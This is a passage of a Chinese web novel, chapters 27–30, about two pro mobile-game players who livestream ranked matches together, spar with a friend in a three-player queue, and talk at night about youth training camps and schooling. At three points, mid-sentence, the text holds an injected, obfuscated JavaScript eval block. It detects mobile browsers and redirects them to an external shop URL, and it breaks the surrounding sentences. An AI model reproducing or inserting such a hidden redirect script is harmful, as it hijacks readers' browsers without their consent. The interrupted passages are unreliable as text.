【JYY的基地可是联盟里难得的宿舍多人房,八卦之心人皆有之嘛】 【就是就是,人之常情】 【我去,你室友原来是Qiu吗??他居然开播了!】 【谁?那个替补嘛?】 …… 突然,弹幕蹦出的消息让他一愣。 他眨眨眼,扭头看向不知什么时候开始在电脑上捣鼓的郁秋。 对方察觉到了视线,笑着解释道:“有人带我打排位,我就顺便混个时长。” 弹幕依旧还在刷屏—— 【感谢Night让我们家秋铁树开播,我从他路人王追到现在JYY战队,开播次数真不超过五次。】 【我也是,作为秋的三年老粉真的很感动,让我印象最深刻的直播还是给Rain澄清的那次,然后后面开播他最多播个半小时就下播了,感谢Night】 …… 什么意思?感谢他? 夜雨辰蒙圈地点开了郁秋的直播间。 一点进去,对方直播间的标题就跃入眼中—— 【室友说带飞,我开播混个时长】 27. 第 27 章 ? 夜雨辰似笑非笑地扭头看向旁边的人: “‘我带飞’是什么意思?” 郁秋轻咳两声:“排位打不过,需要夜哥带带。” 听到这个称呼,夜雨辰飙到嘴边的话一顿,轻啧了一声,选了自己要玩的英雄:“……别演我,我还差几十把,输不起。” 郁秋锁完自己的英雄后笑着摆了摆手:“怎么会输呢?我都玩自己会玩的英雄。” 游戏进入加载页面的时候,夜雨辰习惯性地再瞥了一眼电脑上的弹幕—— 【替补哥当然需要抱大腿啦】 【为什么你和替补都不玩自己号啊?】 【感谢你让秋想起了直播账号密码,新队员笔芯笔芯笔芯~】 …… “啧。” 看着这些目不暇接的文字,他不禁皱起了眉头,直接放下手机在电脑上捣鼓什么。 见自己的双排队友在泉水挂机,郁秋疑惑:“你卡了?游戏进去了。” 夜雨辰小声道:“别急,我设个东西,直播间氛围不太好。” “好了。” 一设置好,他就立马拿起手机快速上线。 这时,郁秋认真提醒道:“快去看一眼我野区,蓝要掉了。” 这把他玩的是露娜,是一个中期特别强、特别依赖蓝buff,但是前期十分弱的打野,一般对手看到这个打野英雄在对面,都会忍不住一级反她的野区,给自家团队奠定一个大优势开局。 而如果对面一直控住了露娜的蓝buff,那相当于这个英雄整把游戏已经废掉了。 但夜雨辰这挂机的十几秒,直接让自己丧失中路线权,让对面舒舒服服的清完中线后直奔自家野区反野。 所以,蓝区毫无疑问的被敌方反到手了。 【笑死我了,打野单buff开局,这就是国服中单吗?】 【欸为什么我刚刚的评论发出去没显示出来啊??bug了吗?】 【我的也是,Night是给直播间设置屏蔽词了吗?】 【好像是,我刚刚发了tibu那两个字,没发出来】 【屏蔽词是tibu?】 【Night这么维护Qiu吗??我们喊的又不是他管这么宽干嘛?】 …… 第一把很快就结束了。 虽然开局他们野区丢了个buff,但是他们中野二人毕竟是职业选手,在段位不高的低星局打排位简直就是炸鱼,所以最后还是轻松拿下了胜利。 只不过…… 夜雨辰看着战绩皱着眉头,满脸幽怨地看向郁秋,眼里写满了“你怎么这么多失误?”几个大字? 一个刺客收割位置,这把被他玩成了开团控制和献祭的作用。 郁秋叹气无奈道:“没办法夜哥,前期野区掉了,我发育不起来。” “……”夜雨辰深吸一口气,把气吞回肚子里,立马进了下一把游戏。 算了,这把开局确实是他有问题,他先不计较。 接下来的三把,他们都很快拿下了胜利。 但是,他再也忍不住怒视郁秋。 想骂人。 排位赛相比训练赛来说,他并不会较真真吵起来,但不代表夜雨辰就可以如此忍受把把失误的队友。 一把两把就算了,虽然游戏基本的对局思路都还在,但郁秋真的是和训练赛、巅峰赛的表现完全不像一个人,把把失误! 本来叫这人来双排是为了提高效率打双排,现在却变成了他单方面负责带飞队友了。 郁秋幽幽地瞥开视线,干咳了两声,小声嘀咕道:“本色出演……” 夜雨辰深吸一口气,放下手机,站起身直接走到郁秋身旁,直接看向了他电脑正挂着的直播间。 他的直播间比自己的还多了几千人,弹幕的活跃度也比他的高了好几倍。 郁秋这个账号在两年前的粉丝就已经有十几万了,而这期间虽然他没怎么直播过,但因为他‘替补’的话题,加上他是电竞圈里少见的高颜值选手之一,还是有不少黑粉或颜粉来关注他的。 不过,弹幕里的骂声还是占了绝大多数—— 【好他妈菜啊,真是让我又多干了两碗饭。】 【这操作是人能打出来的吗?怪不得坐了那么久的替补,活该!】 【我拿脚打都能比你打得好,人机队友都比你强。】 【花瓶哥能不能别想着操作了,排位都打成这么狗屎样还不如赶紧退役】 【这游戏真的是没人玩了,全国第一的水平这么垃圾。】 …… 夜雨辰看着上面的字眼,蹙紧眉头,目光灼灼地看着这个一直被骂脸上却一如常态的平静的人:“他们这么骂,你不会管管?” 郁秋眨了眨眼:“我不会,而且我懒得理。” 夜雨辰嗤笑:“你懒得理,但你的操作倒是被他们影响到变形得不像个人。” “他们?”郁秋瞥了一眼电脑,轻笑一声,“他们才不配影响到我,垃圾话对我造不成影响。” 他前几天说过的。 【别人爱怎么叫便怎么叫呗,在意他们的话多累啊?我要是活在他们的声音里,那我迟早会死在他们的言语中的。】 想起这句话,夜雨辰眉头蹙得更紧了。 在他的印象里,郁秋确实不会受到言语的影响,在两年前似乎就不会了。 可是,如果不是这个原因的话…… “那你这几把为什么会菜这样?这几个英雄你训练赛的时候可不是这样的。” 这操作简直就像被鬼附身了似的,太影响他上分了。 郁秋侧目,笑而不答,眼里写满了无奈。 夜雨辰疑惑地顺着他的视线看去,然后,他看到了电脑屏幕上正显示着的两人组队界面。 倏地,他脑海里回响起开开说过的一句话—— “秋哥特别讨厌被别人以第一视角看着打游戏。” 他瞳孔瞪大,想到了什么,直接关闭了郁秋直播间的麦克风,不可置信道,“你如果知道自己被别人看着打游戏,会紧张到打不好??” 这句话说出来,他自己心里都十分难以置信。 要知道职业选手上场打比赛可是会一直被裁判盯着操作的,而且游戏界面还会被后台录屏第一视角。 但他前几天也同样是以郁秋的第一视角观看过对方的操作,他记得,那把打野的操作简直就是特别下饭、抽象、辣眼睛,还完全不像是本人打的。 听着这个结论,郁秋笑着耸了耸肩,补充道:“陌生视线,会有点。” 知道自己被陌生的视线看着操作的话,他就容易忍不住紧张。 见对方默认了,夜雨辰苦恼地揉了揉眉心:“这个毛病确实有点影响上分了,每次八分钟能结束的对局都被硬生生地拖到了十三分钟才结束,打太慢了。” 这些时间差凑起来都能多打好几把游戏了。 郁秋眼底写满无辜:“所以我的标题是靠你带飞嘛夜哥,好不容易抓到一个能混时长的时候。” “……”夜雨辰一噎,没好气道:“想都别想,拉你来不是为了让你混分的。” 说着,他直接把郁秋的电脑显示屏一关,然后一把把他的椅子拉到自己旁边,“这样,你又可以混直播时长还看不到你自己的屏幕,你看我的,行不行?” 掩耳盗铃何尝不是一种方法? 郁秋坐在椅上愣住了。 他缓缓地将视线放到两个紧紧相贴的椅子,再看向二人同框的直播间屏幕,不禁挑眉道:“应该……吧?” “先试试,打快点,如果输了的话还来得及补回来。” 说着,夜雨辰直接埋头再次进入了下一把游戏。 但他没注意到这个操作直接让他的直播间一下子人数暴涨—— 【我去,为什么Qiu直播间突 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081121|195317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然没声音了?屏幕里人也不见了?】 【Qiu怎么被拉到这里了,是方便他再坑就直接线下搏击吗?】 【怎么,在自己直播间不够丢人跑别人直播间来丢人了?】 【为什么这个直播间会把那两个字设成屏蔽词啊??Qiu自己都不管我们怎么叫他,你们主播怎么这么多事?】 【额,那个,就我的注意力在Qiu的衣服上吗?】 【这个我也想问,为什么Qiu要穿着冰红茶?Qiu的粉丝知道原因吗?是因为爱喝吗?】 【别问秋粉,秋粉也是今天才大开眼界的。】 【Night好像对这个都没多大反应,他难道也喜欢这种衣服?】 …… 看着这些弹幕,夜雨辰后知后觉才想起来郁秋的穿着,耳根一红,直接把郁旁边人的椅子踢出了直播画面。 这几天他们俩就算不说话也会看到对方,他早已习惯了郁秋在基地的奇葩穿着见怪不怪了,所以都完全下意识地把这些当作正常衣服了。 夜雨辰没忍住啧了一声:“为什么俱乐部要求直播必须开着摄像头?” “嗯……可能是督促选手不偷懒吧?”郁秋默默地把椅子挪回了他旁边。 夜雨辰满脸嫌弃地看着这人又进入了自己的直播画面:“那你能不能给我换件衣服?我直播间观众都被你吓跑了,要不就别入镜。” “那可不行,你拉我过来的。”郁秋死皮赖脸道,“而且我怎么觉得直播间观众倒是上升了不少?” “……你的错觉。” 接下来的几把游戏,不知是不是掩耳盗铃真的凑效了,郁秋发挥正常了不少。 中野联动,把把八分钟不到结束游戏,上分效率极高,对手只有被压制得无法喘气的份,让二人打得神清气爽,弹幕也看得赏心悦目,骂声都少了不少。 一直打到十点四十多,夜雨辰刚结束手里的对局,就收到了微信的消息—— 【星:你爹我结束晚自习啦!上号上号!@Night】 【Night:我差不多打完了,有人和我一起打。】 【Night:而且你明天不是要上学吗?你还要打?】 【星:没事,打一会而已不成问题,拉我拉我!】 【Night:你别打到一半又挂机了,我现在真的输不起一把。】 【星:我懂我懂,兄弟把把带你飞。】 夜雨辰偏头道:“等一下,我拉个人,打三排。” “谁?” “朋友,你不认识。” 郁秋淡淡地‘哦’了一声。 很快,言星奕就被拉进了房间。 这时,夜雨辰的微信又收到一条消息—— 【星:你这队友谁啊,我认识吗?以前没见你拉过啊。】 【Night:郁秋。】 【星:?】 【星:你们刚刚一直在双排??】 【Night:昂,怎么了?】 【星:是谁说进队后要避着他的?】 【Night:……】 他并没有和自己的兄弟交代自己现在被迫代打的状况。 【Night:现在情况特殊,而且他人其实没那么傻逼,还挺好的,只是嘴欠而已。】 【星:不是兄弟,嘴欠还不够吗?是谁之前一听到要进他战队就生无可恋的?你怎么他妈开始维护他了??】 【Night:我有维护他吗?就事论事而已。】 【星:……你又被鬼附身了吗夜雨辰?】 这时,手里的游戏刚好进入了对局。 “夜雨辰。” 郁秋突然开口。 “怎么了?” 夜雨辰疑惑地看了过去。 只见郁秋笑眯眯道:“你朋友的脾气应该很好吧?” “……?” 怎么突然有股不好的预感。 28. 第 28 章 这把的游戏对局,不知道为什么,夜雨辰总有一股说不出的诡异氛围感。 他的火舞在双排的时候已经打完了分数,现在在玩王昭君,一个打法偏工具型,可以不太吃经济的英雄。 刚好,言星奕玩的边路花木兰和郁秋的打野老虎是特别吃经济的核心,加上他们是三排,夜雨辰现在也刚好在练习团队赛的工具人打法,尽量将自己分均经济从600降低到500块钱。 所以,他很放心的把中路线交给了他们两个,而自己去发育路打开优势。 顺风肯定是理所当然的打了出来,可是他总觉得不太对劲。 本来,第四波中路线他是打算放给郁秋吃的,但下一秒,言星奕居然从边路转到了中路,将这些全数吃完了;而有时候,野边二人明明可以一起分享这中路线,将团队经济最大利益化,郁秋也知道这一点,但他偏偏直接独吞了全部兵线,不给言星奕留一口吃。 而且还有几次,言星奕直接把郁秋半边野区全吃了,而郁秋也是直接把对方的兵线也全吃了。 夜雨辰忍不住蹙眉:“你们俩在干嘛?能不能正常打了?” 他们俩都是这个游戏顶端局的高手,肯定知道自己这种打法是有问题的。 郁秋轻笑一声:“这不是在好好打呢,不刷经济哪来的伤害。” 言星奕依旧没开麦,但是一听到夜雨辰组队麦旁边人说话的声音,他立马打字—— 【星:这打野好菜,开局五分钟一个人头都没有,怎么上车的?】 看到这句话,郁秋转头看向自己旁边的人,睫毛微微一垂,“夜哥,你看我的助攻就知道了,我的人头全让给你朋友了,我真的很菜吗?” “……” 夜雨辰手一抽,差点闪现到对面脸上。 【星:?】 他深吸一口气:“不菜。” “那夜哥可以不生我气吗?” “……” 他什么时候说过他生气了? 【星:你能不能别这么叫他,恶心到我了。】 …… 虽然队内似乎不太和谐,但局内依旧是顺风局。 夜雨辰踩好中轴视野的时候,这两个队友又同时发了两个信号—— “请求集合!” “请求集合!” “法师来拿蓝。” “法师来拿蓝。” 夜雨辰看着在敌方蓝区的老虎,和在自家蓝区的花木兰,满脸黑线:“你们俩是有病吗?” 他已经出了个能回蓝的圣杯,cd也是满的,需要蓝buff干嘛? 于是,他直接无视了这两人,直接去护路人射辅吃线。 郁秋:“……” 言星奕:“……” 二人默默收下手中的蓝buff,继续去带线抓人。 很快,这一把游戏就结束了。 打得看似很轻松,但不知道为什么,夜雨辰就是觉得十分地心累。 他这两个队友不知道一整把究竟在争什么,反正是争了一整把,又是抢人头又是抢经济的。 不仅如此,一个一直在告状,另一个不知道抽什么疯,一直在委屈地喊他哥。 但是赢了就行,他们爱怎么样就怎么样。 这时,他微信收到了一条消息—— 【星:这打野不行,一直独吞我线,‘人还挺好’?】 【Night:……】 郁秋在一旁似是抱怨道:“你朋友把我野区全吃了,我一时都分不清究竟谁才是打野。” 夜雨辰:“……” 你们俩的火药味究竟是从哪来的啊?? 不过三排车因为夜雨辰是房主,并没有就此解散。 这时,言星奕在局内发了一道消息:“我有点累了,玩辅助混几把。” 然后他就把常用改成了辅助。 夜雨辰对此也见怪不怪,反正言星奕本来就是全分路都会玩一点的高手。 但进队局后,他就发现不对劲了。 言星奕这把玩的是瑶,一整把只挂在他的头上——一个工具人中单。 而其他队友,他不管不顾。 辅助全部保人的技能,大招、治疗、护盾,全数只给中单,残血打野在他身边被杀他看都不看一眼那种。 夜雨辰扶额:“……你要不去跟着郁秋开节奏?” 瑶这英雄配上刺客类型的英雄效果是一加一大于二,而他只跟着自己,只能打出一加一小于二的效果。 【星:不跟,我只保护你。】 夜雨辰:“……” 可是以他的站位和意识,对面也没机会切到他啊? 不过言星奕都这么说了,他也不好劝什么。 这时,打野发出了一个局内信号—— “保护我方——王昭君。” “法师来拿蓝。” 这把,夜雨辰不像上把的出装直接出了圣杯,而是在研究其他高性价比的出装,所以比较容易缺蓝。 虽然他现在是满蓝状态,但cd还没叠满,所以他无法拒绝蓝buff的香味,立马跑了过去。等他到蓝区的时候,老虎正扛着丝血蓝buff的仇恨,等着法师来收割。 就在这时,瑶在王昭君的头上突然跳了下来。 瑶的蓝条几乎快见底了。 夜雨辰见状,直接取消了技能释放:“你拿吧。” 于是,瑶便使用技能开始打buff。 在辅助快拿到蓝buff的时候,下一秒,老虎直接率先一步把buff收入了囊中。 不仅如此,老虎拿到蓝后还对着瑶点了两次回城。 配上回城的特效声,嘲讽意味十足那种。 【星:6,演员打野。】 “?” 夜雨辰皱眉,下意识偏头看向旁边的人,“你嘲讽他干嘛?” 郁秋无辜道:“我没有,手滑了,按恢复点到了回城。” 这两个按键的布局靠得太近了,所以很容易误触。 夜雨辰明显没信怀疑的目光依旧在他身上打量:“你没看到辅助没蓝了吗?” 郁秋诧异道:“夜哥你刚刚不是说让我拿蓝吗?” “……” 飙到嘴边的字不知道为什么突然说不出口了。 半晌,他才没好气道:“跟你说话了?自作多情。” 然后,他就没继续计较下去了。 反正一个蓝buff而已,他们才没这么矫情会直接吵起来。 而这些场景在直播间里,让观众们看得津津有味—— 【茶香四溢。】 【我也觉得。】 【已经代入我和我闺蜜三排了,我和她对象也是这样,排位的时候永远看不惯对方。】 【谁会信秋是手滑按到回城的?反正我不信。】 【这个我知道,我两个直播间一起看的,秋的‘恢复’还在cd中,现在根本不需要点,他就是想嘲讽辅助!】 【Night脾气还是太好了,这两人这么整他排位他都不生气的。】 【生气啥?没看到他都被Qiu一口一个夜哥钓得嘴角都下不去了吗?】 …… 终于,在凌晨一点前,夜雨辰完美地完成了他第一个单子。 虽然他的两个排位队友这几个小时里依旧硝烟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081122|195317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弥漫,但也不至于直接输掉排位赛,毕竟大家还是都想着上分的,所以他也没多去管这俩人的争执。 两人一下播,郁秋就心满意足地直接去洗澡,而夜雨辰则是迫不及待地交单,拿到了自己人生中的第一桶金。 他微信才刚收到转账,就收到了好兄弟的消息。 【星:夜雨辰,你变了。】 【Night:?】 【星:你以前巅峰赛撞到他做队友可是会跟我们痛骂傻逼匹配系统又把你们俩排到一起的,现在你就这么心平气和的和他打上双排了?】 【星:您的‘避嫌’呢?】 【Night:……】 哦,自己好像在刚进入战队那天确实对他们俩说要避嫌来着。 【Night:郁秋是舍友,避不开,而且现在情况特殊,上分最重要,你刚好也开学了没时间,所以我及时叫了个救兵。】 【星:少来,小U又不是只会中单,你怎么不叫他?而且我在宿舍都可以一周和五个舍友不说上一句话,你一个舍友不是随便避吗?最多随随便便敷衍他几句不就好了?】 【Night:小U在巅峰,而且舍友一个人才更难避吧?】 【星:是吗,那郁秋为什么喊你哥?我没记错他年龄比你还大吧?】 【Night:我怎么知道他抽什么风,你上号前他就这么喊我了。】 他对这件事也摸不着头脑,毕竟前几天郁秋也没这么喊自己。 【星:哦,然后你就被喊爽了。】 【Night:有吗?】 【星:你没听出来他喊你的时候特么的又把声音夹起来了吗?】 夜雨辰蹙眉回忆了一下。 【Night:是吗?没有吧。】 【星:……】 【星:那他欺负我你都坐视不理,特别是抢蓝嘲讽我的时候,我刚以为你会为我出头呢,下一秒你就算了。】 【Night:你们俩不是一直在互相打闹吗?抢蓝他说他手滑了。】 【星:然后你就信了?】 【Night:他前几把很菜,你可以看他战绩。】 【星:……】 【星:老夜,你知不知道你现在在维护他?】 【Night:我没有。】 【星:那你讨厌他吗?】 【Night:一点了哥们,你还不睡觉吗?你不是要六点半起床上课吗?熬夜伤身。】 【星:你不回答我就不睡,反正老子充电宝还有电,可以跟你慢慢耗,你这次别想逃避这问题。】 【星:今天必须让你老实交代,夜雨辰,你到底对郁秋啥想法?】 到底对郁秋什么想法? 夜雨辰下意识抬眸,看向那已经紧闭了一段时间,但仍旧没有发出水声的卫生间大门,若有所思。 门板之后,郁秋并没有第一时间洗澡,而是靠在其上,先发了条仅自己可见的朋友圈。 上面配的文案只有一句话,“第一次有效果”。 截图上的内容,是一段前几天他在Whisper Tree上的聊天记录—— 【有耳:你说如果我和TA共同办公,除了不拖后腿展现实力以外,还能怎么引起对方的注意?】 【Rain:……撒娇吧?】 【有耳:怎么个撒娇法?我不会。】 【Rain:把自己姿态放低一点不停地喊姐姐那种?】 【有耳:你喜欢喊别人姐姐?】 【Rain:没啊,我没喊过,我刷视频看到的。】 【Rain:所以你去试试呗,万一真有效呢?】 29. 第 29 章 “……” 夜雨辰盯着门半晌后,叹了口气。 【Night:这重要吗?你们为什么一直想知道这个?】 【星:重要。你讨厌,我们就帮你搞他;你喜欢,我们就慢慢接受他。】 【星:所以,你到底对他什么感觉?】 【Night:喜欢??】 等等不对吧这个词? 【星:对啊,你要是喜欢他想和他做朋友,我和小U以后就尽量摘除对他的有色眼镜,毕竟他之前多傻逼我们也不是没见过。】 【Night:……】 哦,想岔了。 【Night:说实话,不知道。】 【星:居然不是讨厌,被他一口一个‘夜哥’打动了?】 【Night:?】 【“星”已撤回一条消息】 【星:怎么,被他的‘人还不错’打动了?】 夜雨辰冷哼一声,删掉刚准备发出的骂人语句。 【Night:他的心态值得我学习。】 【Night:但他那张欠揍的嘴和辣眼的睡衣品还是很讨厌。】 在他的印象里,郁秋从没被任何的流言蜚语影响过,相比起来,自己曾经被恶心到吐的反应真的是相形见绌。 而且他现在的心态如果还遭遇类似的事,估计也比以前也好不到哪去。 【星:行吧,至少你终于不是逃避这个问题了。】 【Night:那你可以去睡觉了吗大兄弟?】 【星:哎不急,还没多晚,我其实还想找你聊会天……】 …… 凌晨总是一个让人忍不住抒发心底情绪的时间。 两个人聊着聊着,就莫名其妙又打开了游戏,虽然没有刚刚排位的那种热血和亢奋,但他们俩还是没忍住一口气玩到了凌晨三点。 不过一到这个点,零落就准时地收了战队每名队员的手机。 这规矩是他这几天重新加回来的,毕竟开开和Qian前几天通宵打单子,导致第二天训练赛前精神状态都不好,所以队内直接选择了强行管控手机并断网,以防他们几个队员没手机后还会偷偷玩电脑。 网一断,网瘾少年们只能乖乖躺床上睡觉了。 今夜,不知是不是乌云为月亮穿了一件厚实的衣服的缘故,窗帘缝只透过了一丝微乎可见的白光,房间的灯一关,不论睁眼还是闭眼,几乎只有伸手不见五指的黑。 房间里唯独空调的呼呼声在不停作响。 夜雨辰躺在床上,若有所思地盯着天花板,眸光暗潮涌动。 刚刚和言星奕的聊天内容,让他一时半会没有困意。 虽然隔着屏幕,但他还是感受到了对方对高三生活的茫然、困惑以及对未来的后怕。 所以他在安慰对方的时候,也让他不由得想起了上次见到这种心情的那些年龄相仿的青少年们。 他们的表情同样充满了对未来生活的迷茫、害怕、以及无助感…… 直到离自己的室友突然发出了一道不小的动静,像是在床上十分用力地翻了个身,他才被拉回了神。 他偏头,看着黑暗的声源处半晌,斟酌了片刻,沙哑道:“郁秋,困了没?” 旁边的动静戛然而止,一道听不出语气的声音接着响起:“怎么了?” 夜雨辰:“不想睡,聊会?” 郁秋冷哼一声:“你刚刚和你那小……朋友不是聊得挺欢的吗,还想聊?” 夜雨辰翻了个身,面对着墙:“不聊算了。” “……”郁秋似乎叹了口气,“你想聊什么?” 沉默了半晌,夜雨辰才开口道:“你当初在青训营呆了多久?” “怎么问起这个了?” 夜雨辰翻了个身,冷漠道:“好奇。” 毕竟想做职业选手,就必须进入青训营进行一段时间培训。 郁秋轻笑一声,坐起身看向了对方:“你觉得青训营很重要吗?” 夜雨辰毫不犹豫:“不重要,感觉就是个媒介。” 参加过青训营后,他就感觉这只是一个普通玩家成为职业选手的仪式流程,虽然在里面确实可以学到不少干货,但是这些知识,他其实加入之前就已经摸索会了很多,而且每名玩家最后成为职业选手依旧还是得靠自己的硬实力。 郁秋支起一条腿,托起腮看着夜雨辰的身影:“我也觉得不重要,所以我没呆多久,三四个月吧?” 夜雨辰坐了起身,靠着床头,小声嘟囔道:“那也挺久了。” 他只呆了两个月不到。 郁秋莞尔:“不能这么比,大部分人都是呆了一到两年的。” 夜雨辰默不作声。 确实。 而且大部分人不仅呆了两年,最后甚至连职业的大门都没成功跨入。 他偏头看了过去:“那你是哪种类型的青训生?” “哪种类型?” “辍学、离家出走、为了养家糊口来打职业这些。” 郁秋不由得好笑道:“就没有一个好听一点的选项吗?” “……”夜雨辰苦想了一会,最后无奈地叹了口气,“想不到词了,我那时候身边的青训生几乎都是这种类型。” 郁秋背靠墙,抬头看着天花板,若有所思了片刻:“勉强算离家出走吧,你呢?” 思衬了一下,夜雨辰才不确定道:“罕见型……吧?” “怎么说?” 夜雨辰没有回答,而是突然地问了另一个问题:“你觉得上学重要吗?” “看人。” 郁秋淡淡道,“有些人确实不擅长学习读书,在游戏或其他领域上却有独到见解的天赋,但是能真正挖掘自己天赋的人是少之又少。” 夜雨辰不由得感到好奇:“那你天赋在学习上吗?” 郁秋:“在也不在。” “怎么说?” “为了打职业,高考只混了个600多分就一直打游戏冲巅峰第一了。” “那你确实没啥天赋。” 夜雨辰嗤笑一声,“我比你高了二三十分。” 郁秋挑眉:“比也要看年龄和考试难度,我要是18岁参加高考那肯定清华北大随意选了好吧,我是跳级生。” 夜雨辰不屑一顾:“不好意思,我晚读了一年,所以也是跳级生。” 郁秋依旧不以为意:“我也晚读了一年,所以跳了两级,17岁我就高中毕业了。” 夜雨辰一噎:“……” 哼。 沉寂了半晌,他还是没忍住挂上了一抹欣慰的笑容道:“不过其实当初我还真的想过辍学直接去做青训生的。” 郁秋抬眸,似是探究道:“为什么?” 夜雨辰不自觉地将手伸向了天花板,像是想抓住什么似的:“因为想打职业啊,账号和私信里那么多战队说要招募我当首发,其中不乏冠军战队,而我自己也有这么强的实力,那时候还刚体验完上场比赛的感觉,很爱,所以肯定就想着梦想都有了,还和读书没关系,那继续读书干嘛?冲梦想不就完了,反正我这种实力肯定能做成职业选手。” “16岁就到可以进青训营训练的年龄了,我那时候才高一,要是读完高中三年都19了,别人的19岁已经夺冠了,我却还没开始职业生涯?那我等不及。” 他不想和别人同一个年纪的时候,别人已经夺冠而他却连起步开始的机会都没有,还要在青训营摸爬滚打,毕竟他那时候听说的很多职业选手都是在青训营呆上了一到两年才能正式毕业,而假如他21才开始打职业,已经算一个高龄选手了。 而且,那些青训生们几乎都是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081123|195317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 选择了辍学踏上职业的道路,那他为什么不行呢? 郁秋眸光闪烁了一下:“你最后还是选择了先走学习的路。” 夜雨辰点了点头,收回了自己的手,透着漆黑看着自己的手心:“嗯,我父母对我特别好,几乎什么都顺着我,其实在我提出要打职业的那天,他们也是第一时间答应了我支持我。” “但是,第二天他们就变卦了,他们跟我说如果我辍学去打职业,那就直接和家里断绝关系吧。” 他的拳头不由得握紧,内心五味杂陈。 “因为他们前一天晚上查了相关资料,发现很多年龄相仿的青训生为了这条路直接放弃了自己原有的普通生活道路,结果到最后连职业的大门都没跨过,只能回家。” 那些青训生和他们一样,在游戏里都是被赐予天才少年、天赋绝顶称号的人,其中登顶过游戏全国前十的高手更是数不胜数。 但一般情况下,一百个青训生里能真正成为职业选手的人,不超过五个。 天才只是职业大门的入场券而已。 他的脑海里不自觉地回想起之前在营里,有些人的话—— “我学习上又没天赋,但打游戏有个千强的水平,也刚好到了青训营的年龄,所以我觉得我这两年认真练练肯定够实力去打职业的。” “我那成绩我自己都看不下去,但游戏嘛,我肯定没问题的,老子可是登顶过全国第一的人,拿下冠军不是轻而易举嘛!家里不同意我就偷跑出来了呗。” “我可是国服边路,营里那么多人成绩都没我高,等我成年后打职业不是板上钉钉的事嘛?直接让我暴富一生无忧。” …… 年纪刚过15、16岁年轻气盛的少年们意气风发,大部分人果断地放弃了学业直接踏进青训营,眼里满是纯粹的自信、憧憬、向往和热血。 而最后出结果后他们不得不回家的时候,他们眼里只剩下了不服、震惊、愤怒和……茫然。 他们甚至想找训练营的教练们求助再给一次机会,可最终他们的声音还是石沉大海。 夜雨辰喃喃道:“那些被淘汰的人从没想过自己可能遭遇的结果,直接不为自己留一条后路奋力地向前冲。而我父母当初担心我也会这样选择走这条路,所以才跟我说了这种话。” 在这方面,他的父母是过来人,看得比他更加透彻,但当时他们如果以劝说的形式阻拦他,他肯定听不进去,少年的冲劲是很难阻拦的,特别劝阻者还是父母,那只会激起少年的叛逆之心。 所以最后,他们靠自己对孩子的了解,选择了一个极端的说法打消了他这种辍学冲梦想的想法。 夜雨辰自嘲了一下:“不过,当初他们的变卦,可是让我一气之下把自己锁进了房里。” 他眸光波动,看向了郁秋的方向:“说到这个,我真的挺羡慕你们这些有离家出走勇气的人。” 当时他想的是,自己都有梦想那就没必要读书了,可父母的不赞成以及他习惯性的依赖,导致他完全不敢踏出这一步。 “羡慕什么,这种事情可不能学。” 郁秋耸了耸肩,毫不在意道:“我不离家出走就不可能开始打职业,所以我只能选择这个极端的方法,因为我家里是完全不支持,没有寰转的余地,所以我出来的时候一分钱都没得拿。” 然后,他似是好奇地继续问道:“那你后来是怎么下定决心做出选择的?” 夜雨辰淡淡道:“遇到了一个恋爱脑。” 郁秋:“?” 夜雨辰:“网络上碰巧认识的一个人,三观很正,不过他天天想着追喜欢的人,只会问我怎么追人。” 说到这,他就没忍住小声吐槽一句:“两年追同一个人都没追到,真废物。” 郁秋:“……” 这个天突然聊不下去了。 30. 第 30 章 夜雨辰丝毫没察觉到身边人的异常,沉浸在自己的回忆里: “可能因为是网友和那个软件名的缘故,我想着我们都不知道对方的身份,也不可能见面,加上那时候病急乱投医,所以就把自己的犹豫和焦灼一口气跟对方交代完了。” Whisper Tree的创作初心就是“树洞”,本来就是提供给用户们一个可以倾诉自己的心事的平台。 许是因为秉持着这个心里,他就将自己当时的苦恼全盘托出了。 “然后他就分别跟我简述了读书上学对大部分人的意义究竟是什么、职业道路上可能会面临的挑战,以及跟我分析我父母说的话后可能隐藏的意思……说实话,都是我那时候完全无法领悟到的,直到我两个月前进青训营后见到了很多人才明白,为什么他会跟我说这些东西。” “他拓宽了我对每件事的思考和视野,但又不会提出任何他的建议和看法来干涉我的想法和决定。他只会让我自己判断和选择,并同时提醒我,我需要学会独自承担自己选择的后果,或大或小。” “他对每件事的看法、角度和范围都比我大很多,我在他身上也学到了很多,所以,我现在如果有特别犹豫不决但对身边人难以启齿的时候,我都会问问他的见解,因为他从不会干扰到我自己原有的想法,不论我方向的对错……” 发现自己扯远了,他立马将话题拉了回来,轻笑一声:“总之在他的分析帮助下,我最后坚定地选择让自己多累几倍做个跳级生,然后两者兼得吧。” 想要得到什么,就必须付出相应的代价。 